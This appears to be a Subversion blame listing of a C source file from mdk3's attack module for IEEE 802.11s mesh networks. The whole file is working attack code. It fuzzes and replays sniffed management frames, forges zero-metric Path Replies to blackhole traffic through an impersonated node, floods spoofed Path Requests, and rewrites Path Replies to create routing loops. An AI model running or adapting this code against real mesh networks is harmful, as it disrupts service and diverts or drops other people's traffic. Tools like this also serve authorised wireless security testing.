nexmon – Blame information for rev 1

Subversion Repositories:
Rev:
Rev Author Line No. Line
1 office 1 #include <stdio.h>
2 #include <string.h>
3 #include <stdlib.h>
4 #include <unistd.h>
5 #include <pthread.h>
6  
7 #include "ieee80211s.h"
8 #include "../osdep.h"
9 #include "../packet.h"
10 #include "../helpers.h"
11 #include "../mac_addr.h"
12  
13 #define IEEE80211S_MODE 's'
14 #define IEEE80211S_NAME "Attacks for IEEE 802.11s mesh networks"
15  
16  
17 struct packet action_frame_sniffer_pkt;
18 pthread_mutex_t sniff_packet_mutex = PTHREAD_MUTEX_INITIALIZER;
19 unsigned int incoming_action = 0;
20 unsigned int incoming_beacon = 0;
21 char blackhole_info[1024];
22 struct ether_addr info_src, info_dst;
23  
24  
25 struct ieee80211s_options {
26 char *mesh_id;
27 char attack_type;
28 char fuzz_type;
29 unsigned int speed;
30 struct ether_addr *target;
31 };
32  
33 void ieee80211s_shorthelp()
34 {
35 printf(" Various attacks on link management and routing in mesh networks.\n");
36 printf(" Flood neighbors and routes, create black holes and divert traffic!\n");
37 }
38  
39 void ieee80211s_longhelp()
40 {
41 printf( " Various attacks on link management and routing in mesh networks.\n"
42 " Flood neighbors and routes, create black holes and divert traffic!\n"
43 " -f <type>\n"
44 " Basic fuzzing tests. Picks up Action and Beacon frames from the air, modifies and replays them:\n"
45 " The following modification types are implemented:\n"
46 " 1: Replay identical frame until new one arrives (duplicate flooding)\n"
47 " 2: Change Source and BSSID (possibly resulting in Neighbor Flooding)\n"
48 " 3: Cut packet short, leave 802.11 header intact (find buffer errors)\n"
49 " 4: Shotgun mode, randomly overwriting bytes after header (find bugs)\n"
50 " 5: Skript-kid's automated attack trying all of the above randomly :)\n"
51 " -b <impersonated_meshpoint>\n"
52 " Create a Blackhole, using the impersonated_meshpoint's MAC adress\n"
53 " mdk3 will answer every incoming Route Request with a perfect route over the impersonated node.\n"
54 " -p <impersonated_meshpoint>\n"
55 " Path Request Flooding using the impersonated_meshpoint's adress\n"
56 " Adjust the speed switch (-s) for maximum profit!\n"
57 " -l\n"
58 " Just create loops on every route found by modifying Path Replies\n"
59 " -s <pps>\n"
60 " Set speed in packets per second (Default: 100)\n"
61 " -n <meshID>\n"
62 " Target this mesh network\n");
63 }
64  
65 void *ieee80211s_parse(int argc, char *argv[]) {
66 int opt, i;
67 struct ieee80211s_options *dopt = malloc(sizeof(struct ieee80211s_options));
68  
69 dopt->mesh_id = NULL;
70 dopt->attack_type = 0x00;
71 dopt->speed = 100;
72 dopt->target = NULL;
73  
74 while ((opt = getopt(argc, argv, "n:f:s:b:p:l")) != -1) {
75 switch (opt) {
76 case 'f':
77 if (dopt->attack_type) { printf("Duplicate Attack type: Fuzzing\n"); return NULL; }
78 i = atoi(optarg);
79 if ((i > 5) || (i < 1)) {
80 printf("Invalid Fuzzing type!\n"); return NULL;
81 } else {
82 dopt->attack_type = 'f';
83 dopt->fuzz_type = (char) i;
84 }
85 break;
86 case 'b':
87 if (dopt->attack_type) { printf("Duplicate Attack type: Blackhole\n"); return NULL; }
88 dopt->target = malloc(sizeof(struct ether_addr));
89 *(dopt->target) = parse_mac(optarg);
90 dopt->attack_type = 'b';
91 break;
92 case 'p':
93 if (dopt->attack_type) { printf("Duplicate Attack type: PREQ Flooding\n"); return NULL; }
94 dopt->target = malloc(sizeof(struct ether_addr));
95 *(dopt->target) = parse_mac(optarg);
96 dopt->attack_type = 'p';
97 break;
98 case 'l':
99 if (dopt->attack_type) { printf("Duplicate Attack type: Loop Forming\n"); return NULL; }
100 dopt->attack_type = 'l';
101 break;
102 case 's':
103 dopt->speed = (unsigned int) atoi(optarg);
104 break;
105 case 'n':
106 if (strlen(optarg) > 255) {
107 printf("ERROR: MeshID too long\n"); return NULL;
108 } else if (strlen(optarg) > 32) {
109 printf("NOTE: Using Non-Standard MeshID with length > 32\n");
110 }
111 dopt->mesh_id = malloc(strlen(optarg) + 1); strcpy(dopt->mesh_id, optarg);
112 break;
113 default:
114 ieee80211s_longhelp();
115 printf("\n\nUnknown option %c\n", opt);
116 return NULL;
117 }
118 }
119  
120 if (dopt->attack_type == 0x00) {
121 ieee80211s_longhelp();
122 printf("\n\nERROR: You must specify an attack type (ie. -f)!\n");
123 return NULL;
124 }
125 if ((dopt->mesh_id == NULL) && (dopt->attack_type == 'f')){
126 ieee80211s_longhelp();
127 printf("\n\nERROR: You must specify a Mesh ID for this attack!\n");
128 return NULL;
129 }
130  
131 return (void *) dopt;
132 }
133  
134 void ieee80211s_check(void *options) {
135 options = options;
136 //No checks yet.
137 }
138  
139 int action_frame_sniffer_acceptpacket(struct packet sniffed) {
140 pthread_mutex_lock(&sniff_packet_mutex);
141 if (sniffed.len == action_frame_sniffer_pkt.len) {
142 if (! memcmp(action_frame_sniffer_pkt.data, sniffed.data, sniffed.len)) {
143 pthread_mutex_unlock(&sniff_packet_mutex);
144 return -1; //Sniffed own injected packet, drop
145 }
146 }
147 action_frame_sniffer_pkt = sniffed;
148 set_seqno(NULL, get_seqno(&sniffed));
149 pthread_mutex_unlock(&sniff_packet_mutex);
150 return 0;
151 }
152  
153 void action_frame_sniffer_thread(void *target_id) {
154 struct packet sniffed;
155 struct ieee_hdr *hdr;
156 struct action_fixed *act;
157 char *meshid;
158  
159 while(1) {
160 sniffed = osdep_read_packet();
161 hdr = (struct ieee_hdr *) sniffed.data;
162 if (hdr->type == IEEE80211_TYPE_ACTION) {
163 act = (struct action_fixed *) (sniffed.data + sizeof(struct ieee_hdr));
164 if (act->category == MESH_ACTION_CATEGORY) {
165 if (action_frame_sniffer_acceptpacket(sniffed)) continue;
166 incoming_action++;
167 }
168 } else if (hdr->type == IEEE80211_TYPE_BEACON) {
169 meshid = get_meshid(&sniffed, NULL);
170 if (meshid) {
171 if (! strcmp(meshid, (char *) target_id)) {
172 if (action_frame_sniffer_acceptpacket(sniffed)) continue;
173 incoming_beacon++;
174 }
175 free(meshid);
176 }
177 }
178 }
179 }
180  
181 struct packet do_fuzzing(struct ieee80211s_options *dopt) {
182 struct packet sniff;
183 static pthread_t *sniffer = NULL;
184 struct ieee_hdr *hdr;
185 static struct ether_addr genmac;
186 static unsigned int genmac_uses = 0;
187 unsigned int curfuzz, i, j;
188  
189 if (! (genmac_uses % 10)) { //New MAC every 10 packets
190 genmac = generate_mac(MAC_KIND_CLIENT);
191 genmac_uses = 0;
192 }
193 genmac_uses++;
194  
195 if (sniffer == NULL) {
196 sniffer = malloc(sizeof(pthread_t));
197 action_frame_sniffer_pkt.len = 0;
198 pthread_create(sniffer, NULL, (void *) action_frame_sniffer_thread, (void *) dopt->mesh_id);
199 }
200  
201 pthread_mutex_lock(&sniff_packet_mutex);
202 while(action_frame_sniffer_pkt.len == 0) {
203 pthread_mutex_unlock(&sniff_packet_mutex);
204 usleep(50000);
205 pthread_mutex_lock(&sniff_packet_mutex);
206 }
207 sniff = action_frame_sniffer_pkt;
208 pthread_mutex_unlock(&sniff_packet_mutex);
209  
210 if (dopt->fuzz_type == 5) {
211 curfuzz = (random() % 4) + 1;
212 } else {
213 curfuzz = dopt->fuzz_type;
214 }
215  
216 switch (curfuzz) {
217 case 1:
218 increase_seqno(&sniff);
219 return sniff;
220 break;
221 case 2:
222 hdr = (struct ieee_hdr *) sniff.data;
223 hdr->addr2 = genmac; //Src
224 hdr->addr3 = genmac; //BSSID
225 return sniff;
226 break;
227 case 3:
228 sniff.len = sizeof(struct ieee_hdr) + (random() % (sniff.len - sizeof(struct ieee_hdr)));
229 return sniff;
230 break;
231 case 4:
232 j = ((random() % sniff.len) / 4) + 1;
233 for (i=0; i<j; i++)
234 sniff.data[random() % sniff.len] = random();
235 return sniff;
236 break;
237 default:
238 printf("BUG! Unknown fuzzing type %c\n", dopt->fuzz_type);
239 }
240  
241 sniff.len = 0;
242 return sniff;
243 }
244  
245 struct packet do_blackhole(struct ieee80211s_options *dopt) {
246 struct packet sniff, inject;
247 struct ieee_hdr *hdr;
248 struct action_fixed *act, *actinj;
249 struct mesh_preq *preq = NULL;
250 struct mesh_prep *prep;
251 struct ether_addr *src;
252  
253 while(1) {
254 sniff = osdep_read_packet();
255 hdr = (struct ieee_hdr *) sniff.data;
256 if (hdr->type == IEEE80211_TYPE_ACTION) {
257 act = (struct action_fixed *) (sniff.data + sizeof(struct ieee_hdr));
258 if ((act->category == MESH_ACTION_CATEGORY) && (act->action_code == MESH_ACTION_PATHSEL) && (act->tag == MESH_TAG_PREQ)) {
259 preq = (struct mesh_preq *) (sniff.data + sizeof(struct ieee_hdr) + sizeof(struct action_fixed));
260 break;
261 }
262 }
263 }
264  
265 MAC_COPY(info_dst, preq->target);
266 MAC_COPY(info_src, preq->originator);
267 snprintf(blackhole_info, 1024, "Hops %3d TTL %3d ID %3d Metric %5d SeqNo %d/%d",
268 preq->hop_count, preq->ttl, preq->discovery_id, preq->metric, preq->orig_seq, preq->target_seq);
269  
270 src = get_source(&sniff);
271 create_ieee_hdr(&inject, IEEE80211_TYPE_ACTION, 'a', AUTH_DEFAULT_DURATION, *src, *(dopt->target), *(dopt->target), *src, 0);
272 actinj = (struct action_fixed *) (inject.data + sizeof(struct ieee_hdr));
273 inject.len += sizeof(struct action_fixed);
274 actinj->category = MESH_ACTION_CATEGORY;
275 actinj->action_code = MESH_ACTION_PATHSEL;
276 actinj->tag = MESH_TAG_PREP;
277 actinj->taglen = 31;
278  
279 prep = (struct mesh_prep *) (inject.data + sizeof(struct ieee_hdr) + sizeof(struct action_fixed));
280 inject.len += sizeof(struct mesh_prep);
281 prep->flags = 0x00;
282 prep->hop_count = 0;
283 prep->ttl = 255;
284 prep->target = preq->originator;
285 prep->target_seq = preq->orig_seq;
286 prep->lifetime = preq->lifetime;
287 prep->metric = 0; /*ARRRRR!*/
288 prep->originator = preq->target;
289 prep->orig_seq = preq->target_seq + 10;
290  
291 return inject;
292 }
293  
294 struct packet do_flood(struct ieee80211s_options *dopt) {
295 struct packet inject;
296 struct action_fixed *act;
297 struct mesh_preq *preq;
298 struct ether_addr bcast;
299 static uint32_t id = 0;
300 static uint32_t seq = 0;
301 uint8_t hops;
302 uint32_t tseq;
303  
304 MAC_SET_BCAST(bcast);
305  
306 create_ieee_hdr(&inject, IEEE80211_TYPE_ACTION, 'a', AUTH_DEFAULT_DURATION, bcast, *(dopt->target), *(dopt->target), bcast, 0);
307  
308 act = (struct action_fixed *) (inject.data + sizeof(struct ieee_hdr));
309 inject.len += sizeof(struct action_fixed);
310 act->category = MESH_ACTION_CATEGORY;
311 act->action_code = MESH_ACTION_PATHSEL;
312 act->tag = MESH_TAG_PREQ;
313 act->taglen = 37;
314  
315 //Setting up values
316 hops = (random() % 10) + 1; //Plus one so it looks like we just forwarded it ;)
317 id++;
318 seq += (random() % 10); //Randomly increasing sequence counter
319 tseq = seq + ((random() % 50) - 25); //Setting target seq somewhere near orig seq
320  
321 preq = (struct mesh_preq *) (inject.data + sizeof(struct ieee_hdr) + sizeof(struct action_fixed));
322 inject.len += sizeof(struct mesh_preq);
323 preq->flags = 0x00;
324 preq->hop_count = hops;
325 preq->ttl = 31 - hops;
326 preq->discovery_id = id;
327 preq->originator = generate_mac(MAC_KIND_CLIENT);
328 preq->orig_seq = seq;
329 preq->lifetime = 4882; //default?
330 preq->metric = random() % 4096;
331 preq->target_count = 1; //thats enough for now ;)
332 preq->target_flags = 0x02; //wireshark said so
333 preq->target = generate_mac(MAC_KIND_CLIENT);
334 preq->target_seq = tseq;
335  
336 return inject;
337 }
338  
339 struct packet create_loop(struct ieee80211s_options *dopt) {
340 dopt = dopt; //We dont care about options yet
341 struct packet sniff;
342 struct ieee_hdr *hdr;
343 struct action_fixed *act;
344 struct mesh_prep *prep;
345  
346 while(1) {
347 sniff = osdep_read_packet();
348 hdr = (struct ieee_hdr *) sniff.data;
349 if (hdr->type == IEEE80211_TYPE_ACTION) {
350 act = (struct action_fixed *) (sniff.data + sizeof(struct ieee_hdr));
351 if ((act->category == MESH_ACTION_CATEGORY) && (act->action_code == MESH_ACTION_PATHSEL) && (act->tag == MESH_TAG_PREP)) {
352 prep = (struct mesh_prep *) (sniff.data + sizeof(struct ieee_hdr) + sizeof(struct action_fixed));
353 if (prep->metric == 1) continue; //skip injected packets
354 if (prep->hop_count == 0) continue; //cannot create loop at target with itself!
355 break;
356 }
357 }
358 }
359  
360 //Swap Adresses to point packet back the initial route
361 hdr->addr3 = hdr->addr1; //dst to bssid
362 hdr->addr1 = hdr->addr2; //src to dst
363 hdr->addr2 = hdr->addr3; //bssid to src
364  
365 MAC_COPY(info_dst, prep->target);
366 MAC_COPY(info_src, prep->originator);
367  
368 //Fix values to make injected packet be newer and better than old route
369 prep->hop_count = 1;
370 prep->ttl = 30;
371 prep->metric = 1;
372  
373 return sniff;
374 }
375  
376 struct packet ieee80211s_getpacket(void *options) {
377 struct ieee80211s_options *dopt = (struct ieee80211s_options *) options;
378 struct packet pkt;
379  
380 sleep_till_next_packet(dopt->speed);
381  
382 switch (dopt->attack_type) {
383 case 'f':
384 pkt = do_fuzzing(dopt);
385 break;
386 case 'b':
387 pkt = do_blackhole(dopt);
388 break;
389 case 'p':
390 pkt = do_flood(dopt);
391 break;
392 case 'l':
393 pkt = create_loop(dopt);
394 break;
395 default:
396 printf("BUG! Unknown attack type %c\n", dopt->attack_type);
397 pkt.len = 0;
398 }
399  
400 return pkt;
401 }
402  
403 void ieee80211s_stats(void *options) {
404 struct ieee80211s_options *dopt = (struct ieee80211s_options *) options;
405  
406 switch (dopt->attack_type) {
407 case 'f':
408 printf("\rReceived Action frames: %5d Received Mesh Beacons: %5d \n", incoming_action, incoming_beacon);
409 break;
410 case 'b':
411 printf("\rLast PREQ: ");
412 print_mac(info_src);
413 printf(" searching for ");
414 print_mac(info_dst);
415 printf(": %s\n", blackhole_info);
416 break;
417 case 'l':
418 printf("\rLoops created on route between ");
419 print_mac(info_src);
420 printf(" and ");
421 print_mac(info_dst);
422 printf(". \n");
423 break;
424 }
425 }
426  
427 struct attacks load_ieee80211s() {
428 struct attacks this_attack;
429 char *ieee80211s_name = malloc(strlen(IEEE80211S_NAME) + 1);
430 strcpy(ieee80211s_name, IEEE80211S_NAME);
431  
432 this_attack.print_shorthelp = (fp) ieee80211s_shorthelp;
433 this_attack.print_longhelp = (fp) ieee80211s_longhelp;
434 this_attack.parse_options = (fpo) ieee80211s_parse;
435 this_attack.mode_identifier = IEEE80211S_MODE;
436 this_attack.attack_name = ieee80211s_name;
437 this_attack.perform_check = (fps) ieee80211s_check;
438 this_attack.get_packet = (fpp) ieee80211s_getpacket;
439 this_attack.print_stats = (fps)ieee80211s_stats;
440  
441 return this_attack;
442 }